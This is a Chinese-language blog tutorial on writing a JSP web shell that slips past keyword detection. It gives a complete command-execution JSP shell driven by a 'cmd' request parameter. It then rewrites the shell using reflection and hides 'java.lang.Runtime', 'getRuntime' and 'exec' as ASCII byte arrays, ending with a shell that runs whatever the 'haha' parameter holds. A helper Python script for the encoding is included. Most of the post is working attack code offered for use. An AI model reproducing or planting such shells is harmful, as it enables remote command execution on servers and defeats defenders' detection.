赞
踩
通过ascii码与字符之间的转换,加上通过反射加载类,实现无关键字一句话
script_str2ascii
首先写一个简单的py脚本,转换命令为byte数组
cmd=input("input code")
arr=[]
for char in cmd:
arr.append(ord(char))
print(arr)
接下来找一个简单的小马,进行改造
<% String cmd = request.getParameter("cmd"); StringBuffer res = new StringBuffer(); //加一个系统的判断 String os = System.getProperty("os.name"); boolean isWin = false; BufferedReader bufferedReader; if (os != null && os.toLowerCase().startsWith("windows")) { isWin = true; } try { if (isWin == false) { bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); } else { bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("cmd /C " + cmd).getInputStream())); } String len; while ((len = bufferedReader.readLine()) != null) { res.append(len + "\n"); } } catch (Exception e) { res.append(e.getMessage()); } out.print("<pre>" + res.toString() + "</pre>"); %>
主要目的是将runtime相关的类和函数通过反射进行修改
<%Class<?> aClass = Class.forName("java.lang.Runtime");//这个forName加载类的时候会执行类内的静态代码块
Method method = aClass.getMethod("getRuntime");
Object o = method.invoke(null);//这里获取到runtime类
Method method1 = aClass.getMethod("exec", String.class);
method1.invoke(o,"calc");
%>
有两点值得说一下
1.使用forName加载类会执行静态代码块,由于Runtime类是单例设计模式,所以执行静态代码块之后getRuntime方法才能拿到Runtime类的实例
2.method.invoke(null)可以传递null的原因是该方法为静态方法,可以这样理解---------静态方法会给所有实例共享,所以不需要传递哪个具体的实例进去,于是传递个null就行了
通过反射加载runtime类的方式可行,并且成功弹出了计算器
接下来通过ascii数组,替换其中比较敏感的字符串
上面那个小马里面别的不关键的东西懒得写了…
这里可以使用byte数组,原因是当前涉及到的字符串中的所有字符ascii码均在127以下
通过byte数组修饰以下关键字
<%
byte[] a={106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
Class<?> aClass = Class.forName(new String(a));//这个forName加载类的时候会执行类内的静态代码块
byte[] b={103, 101, 116, 82, 117, 110, 116, 105, 109, 101};
Method method = aClass.getMethod(new String(b));
Object o = method.invoke(null);//这里获取到runtime类
byte[] c={101, 120, 101, 99};
Method method1 = aClass.getMethod(new String(c), String.class);
method1.invoke(o,request.getParameter("haha"));
%>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。